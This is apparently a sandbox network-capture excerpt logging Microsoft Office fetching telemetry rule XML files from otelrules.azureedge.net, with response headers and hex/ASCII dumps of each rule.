2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 954b4d19-301e-0052-53d5-3365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968l4kp6hC1EWRe88400000005tg000000003swu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	58839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7cd1171a-e01e-0052-10d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968nnm4mhC1EWR1rn400000005b000000000p7hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	58837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 648756f6-901e-0067-0fd5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968vwdr7hC1EWRsh3w00000005e0000000009064 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	58836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 45a856d6-001e-0017-5bd5-330c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205927Z-174f78459684bddphC1EWRbht4000000053g00000000rk7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	58840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 16af1629-301e-0033-6dd5-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968j9dchhC1EWRfe7400000005a000000000ccub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	58841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2302a2aa-d01e-0017-0cd5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968qj8jrhC1EWRh41s00000005b000000000khq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	58843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 7cd11897-e01e-0052-7bd5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968glpgnhC1EWR7uec00000005gg00000000t37b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	58844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 87508d14-a01e-0098-0ad5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968glpgnhC1EWR7uec00000005ng00000000ant1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	58842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 87508d13-a01e-0098-09d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968xlwnmhC1EWR0sv8000000056g00000000qyvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	58845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a2be61a-a01e-0053-3cd5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205928Z-174f7845968pf68xhC1EWRr4h800000005u0000000001kcp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:28 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	58850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:29 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 63eb2b55-501e-00a3-51d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205929Z-174f7845968c2t8dhC1EWR8s20000000055g00000000fn9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	58848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b85e0199-b01e-0098-60d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205929Z-174f7845968frfdmhC1EWRxxbw00000005kg000000006ek6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	58847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
